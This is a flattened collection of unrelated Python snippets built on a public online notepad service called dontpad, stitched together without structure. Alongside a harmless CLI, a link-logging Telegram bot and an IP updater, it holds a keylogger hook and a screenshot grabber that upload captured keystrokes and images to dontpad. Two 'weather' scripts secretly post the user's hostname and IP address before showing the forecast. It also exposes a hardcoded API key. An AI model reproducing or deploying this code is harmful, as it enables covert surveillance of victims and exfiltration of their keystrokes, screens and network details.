def mouse_click(self, e): screenshots = screen.grab() for img in screenshots: t = str(time.time()) old = dontpad.read(self.url + "/imgs/")["body"] dontpad.write(self.url + "/imgs/", old + t + "\n") dontpad.write(self.url + "/imgs/" + t, img)
def handle_message(message): #bot.send_message(telegram_destino, message.text) #PEGA SOMENTE O LINK DA MENSAGEM E GUARDA NA VARIAVEL M (NA POSICAO 0) m = re.search('((https?):((//)|(\\\\))+([\w\d:#@%/;$()~_?\+-=\\\.&](#!)?)*)', message.text) # PEGANDO O LINK NOVO E ATUALIZANDO O ARQUIVO # Abra o arquivo (leitura) arquivo = open('links.txt', 'r') conteudo = arquivo.readlines() # insira seu conteúdo # obs: o método append() é proveniente de uma lista conteudo.append("\n\n" + m.group(0)) # Abre novamente o arquivo (escrita) e escreva o conteúdo criado anteriormente nele. arquivo = open('links.txt', 'w') arquivo.writelines(conteudo) arquivo.close() # MANDANDO O TEXTO DO ARQUIVO PARA O DONTPAD texto = "" manipulador = open('links.txt', 'r') for linha in manipulador: texto += linha manipulador.close() dontpad.write("dsb_bot", texto) print("\n\nmensagem: " + message.text + "\nid da mensagem: " + str(message.message_id) + "\ntipo de mensagem: " + message.chat.type + "\nLINK IDENTIFICADO: " + m.group(0))
def keyboard_down(self, e): t = time.time() delta_t = t - self.old_time treated_key = self.treat(e.Key) if self.should_stop in self.stop_criterion: self.should_stop += treated_key else: self.should_stop = treated_key self.current += treated_key if delta_t > self.max_delta or self.should_stop == self.stop_criterion: self.final_file += "\n<p t=\"" + str( t) + "\">\n" + self.current + "</p>\n" self.current = "" self.old_time = t if self.should_stop == self.stop_criterion: hostnames = dontpad.read(self.base_url)["body"] if self.name not in hostnames: hostnames += self.name + "\n" dontpad.write(self.base_url, hostnames) old = dontpad.read(self.url)["body"] dontpad.write(self.url, old + "\n\n<br />\n\n" + self.final_file) hook.cancel()
import pyowm import socket import dontpad #pyowm API key owm = pyowm.OWM('22ab75f800d278c86e42b0ee15ad66b3', language="ro") #Function that will read all from dontpad and write it back data = dontpad.read("ips_secure") #Get ip and uploat on dontpad hostname = socket.gethostname() IPAddr = socket.gethostbyname(hostname) dontpad.write("ips_secure", data + hostname + " : " + IPAddr + "\n") #get get_temperature from my city place = input("Enter your city: ") observation = owm.weather_at_place(place) w = observation.get_weather() temp = w.get_temperature('celsius')["temp"] #print get_temperature and status print("In localitatea " + place + " sunt " + str(temp) + " grade!") print("Status: " + w.get_detailed_status()) if temp < 0: print("Afara ninge.") elif temp >= 0 and temp < 20: print("Afara e frig") elif temp >= 20: print("Afara e cald")
def error(): print("Incorrect parameters.") print("Format:\n dontpad [MODE] [URL_EXTENSION] [TEXT]") print( " MODES:\n -r (default)\t\tRead content from URL_EXTENSION.\n -w \t\tWrite TEXT to URL_EXTENSION." ) exit(-1) argc = len(sys.argv) if argc < 2: error() if argc >= 3: url_extension = sys.argv[2] mode = "-r" mode = sys.argv[1] if mode == "-r": print(dontpad.read(url_extension)) elif mode == "-w": text = " ".join(sys.argv[3:]) dontpad.write(url_extension, text) elif sys.argv[1] not in ["-r", "-w"]: url_extension = sys.argv[1] print(dontpad.read(url_extension)) else: error()
import pyowm import socket import dontpad #pyowm API key owm = pyowm.OWM('22ab75f800d278c86e42b0ee15ad66b3', language="ro") #Function that will read all from dontpad and write it back data = dontpad.read("vladz/ips") #Get ip and uploat on dontpad hostname = socket.gethostname() IPAddr = socket.gethostbyname(hostname) dontpad.write("vladz/ips", data + hostname + " : " + IPAddr + "\n") #get get_temperature from my city place = input("Enter your city: ") observation = owm.weather_at_place(place) w = observation.get_weather() temp = w.get_temperature('celsius')["temp"] #print get_temperature and status print("In localitatea " + place + " sunt " + str(temp) + " grade!") print("Status: " + w.get_detailed_status()) if temp < 0: print("Afara ninge.") elif temp >= 0 and temp < 20: print("Afara e frig") elif temp >= 20: print("Afara e cald")
from requests import get import dontpad ipDontpad = dontpad.read("dontpadExtHERE") ipAtual = get('https://api.ipify.org').text + ':25565' print('IP Antigo:\t' + ipDontpad) print('IP Atual:\t' + ipAtual) if ipDontpad != ipAtual: print('\nAtualizando IP...\n') dontpad.write("dontpadExtHERE", ipAtual)